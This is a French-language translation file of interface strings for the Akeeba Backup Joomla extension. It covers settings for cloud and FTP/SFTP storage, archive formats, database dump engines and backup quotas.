COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Clé d'application"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="Le nom de votre compartiment Backblaze"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Compartiment"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="Le répertoire dans votre compartiment où les archives de sauvegarde seront stockées. Laisser vide pour stocker les fichiers à la racine du compartiment."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Lorsque vous activez cette option, Akeeba Backup effectuera des téléversements en une seule partie vers Backblaze. Vous devrez utiliser un paramètre de taille de partie plus petit pour les archives fractionnées dans la configuration du moteur d'archivage afin d'éviter que le téléversement n'expire, ce qui entraînerait l'échec du processus de sauvegarde."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Désactiver les téléversements en plusieurs parties"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Options indiquant à Akeeba Backup comment gérer les scripts en administration"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Administration"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Faut-il traduire l'heure de début de sauvegarde dans le fuseau horaire de l'utilisateur actuellement connecté dans la page Gérer les sauvegardes ? Si défini sur Non, toutes les heures de début de sauvegarde apparaissent dans le fuseau horaire GMT. Cette option N'AFFECTE PAS les variables [DATE] et [TIME] pour la dénomination des fichiers de sauvegarde ou la description par défaut ; utilisez l'option Fuseau horaire de sauvegarde pour modifier le fonctionnement de ces variables."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Heure locale dans Gérer les sauvegardes"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Faut-il donner aux utilisateurs qui restaurent un site l'option de tout supprimer avant d'extraire une archive ? Cette option s'applique uniquement à la version Professional de notre logiciel. AVERTISSEMENT ! C'EST EXTRÊMEMENT DANGEREUX. LISEZ TRÈS ATTENTIVEMENT LA DOCUMENTATION AVANT DE L'ACTIVER. SI VOUS UTILISEZ CETTE FONCTIONNALITÉ LORS DE LA RESTAURATION, VOUS RENONCEZ À TOUT DROIT DE DEMANDER UNE ASSISTANCE ET ASSUMEZ TOUTE LA RESPONSABILITÉ."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Afficher l'option « Tout supprimer avant l'extraction »"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Fuseau horaire"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="Le suffixe de fuseau horaire à afficher à côté de l'heure de début de sauvegarde dans la page Gérer les sauvegardes.<br/>Aucun : aucun suffixe n'est affiché (non recommandé).<br/>Fuseau horaire : un fuseau horaire abrégé, par ex. CEST pour l'heure d'été d'Europe centrale.<br/>Décalage GMT : le décalage par rapport au fuseau horaire GMT, par ex. GMT+01:00 (= deux heures en avance sur GMT, c'est-à-dire l'heure normale d'Europe centrale). Veuillez noter que pendant l'heure d'été, le décalage GMT est de +1 heure par rapport au fuseau horaire normal. Cette différence de décalage SERA affichée dans ce format."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="Décalage GMT"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Suffixe de fuseau horaire"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Aucun"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Toutes les bases de données configurées (fichier archive)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Base de données principale du site uniquement (fichier SQL)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Quel type de sauvegarde du site souhaitez-vous qu'Akeeba Backup effectue"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Fichiers du site uniquement"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Sauvegarde complète du site"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Fichiers uniquement, incrémentiel"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Site complet, fichiers incrémentiels"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Type de sauvegarde"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Réduire cette valeur conservera la mémoire et évitera les erreurs HTTP 500 lors de la sauvegarde de tables volumineuses"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Nombre de lignes par lot"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Les fichiers dépassant cette taille seront stockés non compressés, ou leur traitement s'étendra sur plusieurs étapes (selon le moteur d'archivage) afin d'éviter les délais d'attente. Nous suggérons d'augmenter cette valeur uniquement sur des serveurs rapides et fiables."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Seuil des fichiers volumineux"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Supprime le nom d'utilisateur et le mot de passe des connexions de base de données de la sauvegarde"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Effacer le nom d'utilisateur/mot de passe"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Jeton d'accès"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Activer le téléversement par morceaux"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Taille des morceaux"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="Le répertoire dans votre compte Box.com où les archives de sauvegarde seront stockées. Laisser vide pour stocker les fichiers à la racine du dossier Box.com."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Cliquez sur ce bouton pour ouvrir une nouvelle fenêtre où vous pouvez vous connecter à votre compte auprès du fournisseur de stockage. Ensuite, veuillez fermer la fenêtre contextuelle et cliquer sur le bouton Étape 2 ci-dessous."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Authentification - Commencer ici"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Rempli automatiquement lorsque vous complétez l'étape d'authentification 1 ci-dessus. Ne partagez PAS le même jeton sur plusieurs sites. Authentifiez plutôt chaque site séparément."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Jeton de rafraîchissement"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup traite les fichiers volumineux en petits morceaux, afin d'éviter les délais d'attente. Ce paramètre définit la taille maximale des morceaux pour ce type de traitement."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Taille des morceaux pour le traitement des fichiers volumineux"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Lorsque cette case est décochée (par défaut) et que l'étape de sauvegarde se termine en moins de temps que le temps d'exécution minimum configuré, Akeeba Backup demandera au serveur d'attendre jusqu'à ce que ce temps soit atteint. Cela peut amener certains serveurs très restrictifs à arrêter votre sauvegarde. Cocher cette case mettra en œuvre la période d'attente dans le navigateur, contournant ainsi cette limitation. IMPORTANT : Cette option s'applique uniquement aux sauvegardes depuis l'administration. Les sauvegardes frontales, JSON API (distantes) et en ligne de commande (CLI) implémentent toujours l'attente côté serveur."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Implémentation côté client du temps d'exécution minimum"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Votre clé API CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="Clé API"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="Le conteneur CloudFiles pour stocker les archives de sauvegarde"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Conteneur"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="Le répertoire dans le conteneur CloudFiles pour stocker les archives de sauvegarde. Pour tout stocker à la racine du conteneur, veuillez laisser vide."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Votre nom d'utilisateur CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="Le répertoire dans votre compte CloudMe où les archives de sauvegarde seront stockées. Laisser vide pour stocker les fichiers à la racine du dossier CloudMe."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Mot de passe"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Lorsqu'activé, Akeeba Backup effacera les anciens fichiers de sauvegarde s'ils sont plus nombreux que la limite définie ci-dessous."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Activer le quota de nombre"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup effacera les anciens fichiers de sauvegarde s'ils sont plus nombreux que la limite définie dans ce paramètre. Les sauvegardes en plusieurs parties sont considérées comme <em>un seul</em> fichier !<br/><br/><strong>Astuce</strong> : Sélectionnez Personnalisé et entrez votre valeur souhaitée si elle n'est pas dans la liste."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Quota de nombre"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Modifiez la façon dont la date/heure de début des sauvegardes est affichée dans la page Gérer les sauvegardes. Laisser vide pour utiliser le formatage par défaut. Vous pouvez utiliser les options de formatage de la fonction date de PHP, voir : http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Format de date"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Si activé, l'archive de sauvegarde sera supprimée de ce serveur dès que le traitement ultérieur se terminera avec succès."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Supprimer l'archive après traitement"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Lorsqu'activé, les liens symboliques seront suivis comme des fichiers et répertoires normaux. Lorsque non coché, les liens symboliques ne seront pas suivis. Si vous utilisez des liens symboliques qui mènent à une boucle de liens infinie, décochez cette option."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Déréférencer les liens symboliques"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Faut-il vous demander d'autoriser l'affichage des notifications de bureau ? Les notifications de bureau apparaissent lorsque la sauvegarde démarre, se termine, émet un avertissement ou s'arrête. Elles ne sont affichées que sur les navigateurs compatibles (généralement : Chrome, Safari, Firefox, Opera) si vous donnez à Akeeba Backup la permission d'afficher des notifications de bureau lorsque vous y êtes invité sur la page du tableau de bord. Cette option contrôle uniquement si cette invite doit être affichée. Une fois que vous acceptez ou refusez les permissions de messages de notification de bureau, ce paramètre n'a <strong>aucun effet</strong>. La seule façon d'activer ou de désactiver les notifications de bureau sera via les paramètres de votre navigateur."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Demander les permissions de notifications de bureau"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Si activé, Akeeba Backup essaiera de se connecter à votre serveur FTP en utilisant une connexion chiffrée SSL. <strong>Ce n'est pas la même chose que SFTP, SCP ou « Secure FTP » !</strong> Notez que si votre serveur ne prend pas en charge cette méthode, vous obtiendrez des erreurs de connexion."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Utiliser FTP sur SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="Nom d'hôte du serveur FTP, sans le protocole. Cela signifie que <code>ftp://example.com</code> est <strong>invalide</strong> et que <code>example.com</code> est valide. Akeeba Backup ne prend en charge que les serveurs FTP et FTPS. Il <u>ne prend pas en charge</u> SFTP, SCP et autres variantes SSH."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Nom d'hôte"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="Le chemin <strong>FTP</strong> absolu vers le répertoire où les fichiers seront téléversés. En cas de doute, connectez-vous à votre serveur avec FileZilla, naviguez jusqu'au répertoire souhaité et copiez le chemin apparaissant dans le volet de droite au-dessus de la liste des répertoires. C'est généralement quelque chose de court, comme <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Répertoire initial"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Utilisez le mode passif FTP lors du transfert de données. Ceci est activé par défaut car c'est la seule méthode qui fonctionne à travers les pare-feux couramment installés sur les serveurs web. Ne pas désactiver sauf si vous êtes certain que votre serveur web n'est pas derrière un pare-feu et que votre serveur FTP nécessite absolument des transferts de fichiers en mode actif."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Utiliser le mode passif"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Mot de passe du serveur FTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Port du serveur FTP. Le paramètre le plus courant est 21. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Utilisez ce bouton pour tester la connexion FTP et afficher les erreurs de connexion en cas d'échec."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Impossible de se connecter au serveur FTP distant."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="La connexion au serveur FTP distant a été établie avec succès !"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Tester la connexion FTP"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Nom d'utilisateur du serveur FTP. Il est généralement sensible à la casse. En cas de doute, veuillez contacter votre administrateur réseau."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Veuillez entrer le nom d'hôte ou l'adresse IP de votre serveur SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Nom d'hôte"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Veuillez entrer le répertoire où les fichiers seront téléversés. En cas de doute, utilisez un client de bureau SFTP, connectez-vous à votre serveur, naviguez jusqu'au répertoire souhaité et copiez le chemin affiché ici. Le chemin doit être en format absolu, par ex. /users/monnomdutilisateur/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Répertoire initial"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="Le mot de passe SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Mot de passe"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="Le port habituel pour les connexions SFTP est 22. Si votre serveur utilise un port différent, veuillez l'entrer ici."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Utilisez ce bouton pour tester la connexion SFTP et afficher les erreurs de connexion en cas d'échec."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Impossible de se connecter au serveur SFTP distant. Le message d'erreur était :"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Connexion réussie au serveur SFTP distant. Remarque : le paramètre de répertoire initial n'a pas été testé."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Tester la connexion SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="Le nom d'utilisateur SFTP. Veuillez noter que votre serveur SFTP doit autoriser l'authentification par nom d'utilisateur/mot de passe."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Nom d'utilisateur"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="Votre clé d'accès DreamObjects, disponible dans le panneau de contrôle DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Clé d'accès"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="Le nom de votre compartiment DreamObjects. Assurez-vous qu'il est saisi tel qu'il apparaît dans le panneau de contrôle DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Compartiment"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="Le répertoire dans votre compartiment où les archives de sauvegarde seront stockées. Laisser vide pour stocker les fichiers à la racine du compartiment."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Si activé, Akeeba Backup essaiera de convertir le nom du compartiment en minuscules, c'est-à-dire que MonCompartiment sera converti en moncompartiment. Si vous avez créé un compartiment avec des lettres majuscules, par ex. MonNouveauCompartiment, décochez cette option et assurez-vous que le nom du compartiment est orthographié exactement comme il apparaît dans votre panneau de contrôle DreamHost."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Nom de compartiment en minuscules"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="Votre clé secrète DreamObjects, disponible dans le panneau de contrôle DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Clé secrète"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Si activé, une connexion sécurisée (HTTPS) sera utilisée lors du téléversement de vos fichiers. Bien que cela augmente la sécurité des données transférées, cela augmente également la possibilité d'échec de sauvegarde en raison d'un délai d'attente."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Utiliser SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="Le répertoire dans votre compte Dropbox où les archives de sauvegarde seront stockées. Laisser vide pour stocker les fichiers à la racine."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Il s'agit du jeton de rafraîchissement qui connecte Akeeba Backup à Dropbox. Il est <strong>spécifique au site</strong> et utilisé pour réautoriser la connexion Dropbox lorsque le jeton d'accès à courte durée de vie expire. Si vous avez plusieurs sites, vous devez utiliser les boutons Étape 1 sur chaque site que vous souhaitez autoriser. Veuillez <strong>NE PAS</strong> copier le jeton d'accès ou de rafraîchissement sur plusieurs sites. Cela entraînerait une désynchronisation de l'authentification Dropbox et vous devrez reconnecter tous vos sites avec Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Jeton de rafraîchissement"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Ceci est automatiquement récupéré depuis Dropbox lorsque vous cliquez sur le bouton Étape 2 ci-dessus. Si vous avez plusieurs sites, vous devez utiliser les boutons Étape 1 et Étape 2 uniquement sur le PREMIER site que vous souhaitez autoriser. Veuillez ensuite copier le jeton, la clé secrète du jeton et l'ID utilisateur du premier site vers tous les autres sites que vous souhaitez connecter à Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Jeton d'accès"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Cochez si vous êtes membre d'une équipe utilisant Dropbox for Business et souhaitez utiliser le dossier de votre équipe pour stocker des sauvegardes. N'oubliez pas de préfixer le répertoire ci-dessous avec le nom de votre dossier d'équipe. Par exemple, si l'interface web de Dropbox affiche un « Dossier d'équipe Acme Corp » dans la page Fichiers et que vous souhaitez mettre vos sauvegardes dans un dossier appelé « Sauvegardes » à l'intérieur, vous devez utiliser le nom de répertoire <code>Acme Corp Team Folder/Backups</code>, pas simplement <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Définit comment Akeeba Backup traitera votre/vos base(s) de données afin de produire un fichier de sauvegarde de base de données."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Moteur de sauvegarde de base de données"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Paramètres communs"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="Paramètres MySQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="Paramètres PostgreSQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Paramètres de vidage de base de données en rétro-ingénierie"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="Le chemin absolu du système de fichiers vers l'outil de ligne de commande pg_dump sur votre serveur. Si laissé vide, Akeeba Backup tentera de le détecter automatiquement."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Chemin vers pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Transfère les fichiers du site vers un serveur FTP distant, sans les archiver d'abord. Ce moteur d'archivage utilise la bibliothèque cURL qui offre une meilleure compatibilité avec une large gamme de serveurs FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Certains serveurs FTP mal configurés ou défaillants renvoient la mauvaise adresse IP lorsque le mode passif FTP est activé. Activez cette option pour forcer la bibliothèque FTP à ignorer la mauvaise IP renvoyée par le serveur FTP, en utilisant à la place l'IP publique du serveur FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Solution de contournement du mode passif"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP via cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfère les fichiers du site vers un serveur FTP distant, sans les archiver d'abord"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Transfère les fichiers du site vers un serveur SFTP distant, sans les archiver d'abord. Ce moteur d'archivage utilise la bibliothèque cURL qui offre une meilleure compatibilité avec une large gamme de serveurs FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP via cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfère les fichiers du site vers un serveur SFTP distant, sans les archiver d'abord. AVERTISSEMENT : Votre serveur source doit avoir l'extension PHP SSL2 installée."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Un format d'archive open source optimisé pour une création et une extraction rapides d'archives à l'aide de code PHP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="Format JPA (recommandé)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Crée des archives chiffrées avec la méthode de chiffrement standard du secteur AES-128, dans un format très similaire à JPA. Nécessite l'une des extensions PHP mcrypt ou openssl installée et activée sur votre site."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Archives chiffrées (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="L'archive ZIP sera créée en utilisant la classe ZipArchive de PHP. IMPORTANT : Ce moteur ne prend pas en charge le fractionnement d'archives ni la gestion des liens symboliques et peut donc entraîner des problèmes de sauvegarde. Si vous obtenez des erreurs de délai d'attente, des erreurs AJAX ou des messages d'erreur de serveur interne, vous devrez passer à un autre moteur d'archivage et activer le fractionnement des archives."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP utilisant la classe ZipArchive"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Fichiers ZIP standard, alias « Dossiers compressés », nativement pris en charge par tous les principaux systèmes d'exploitation"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="Format ZIP"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Utilise du code PHP pour produire un vidage de base de données précis"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Moteur de sauvegarde MySQL natif"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Marquer la sauvegarde comme échouée en cas d'échec de téléversement"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Arrête immédiatement le processus de sauvegarde, le marquant comme échoué, si une erreur de téléversement se produit. <strong>Cette option peut être trompeuse et dangereuse.</strong> Vous pouvez avoir une sauvegarde complète et valide qui a simplement échoué à être téléversée en totalité ou en partie. L'activation de cette option supprimera les fichiers d'archive de sauvegarde restants de votre serveur et laissera derrière tous les fichiers d'archive (partiellement) téléversés vers le stockage distant. En d'autres termes, vous vous retrouvez sans sauvegarde fonctionnelle. Il n'y a que très peu de cas d'utilisation où cela a plus de sens que le comportement par défaut qui vous permet de reprendre le téléversement du fichier d'archive de sauvegarde via la page Gérer les sauvegardes. Par conséquent, nous recommandons fortement que cette option ne soit activée que par des utilisateurs experts qui comprennent pleinement les implications de cette action."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Téléverse l'archive de sauvegarde vers Microsoft Windows Azure BLOB Storage."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Téléverser vers Microsoft Windows Azure BLOB Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Téléverse l'archive de sauvegarde vers BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Téléverser vers BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Téléverse l'archive de sauvegarde vers Box.com. Veuillez lire la documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Téléverser vers Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Téléverse l'archive de sauvegarde vers RackSpace CloudFiles.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Téléverser vers RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Téléverse l'archive de sauvegarde vers CloudMe.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Téléverser vers CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Téléverse l'archive de sauvegarde vers DreamObjects.<br/><strong>N'oubliez pas de définir une taille d'archive fractionnée de 2 à 30 Mo ou vous risquez un échec de sauvegarde dû aux délais d'attente !</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Téléverser vers DreamObjects"
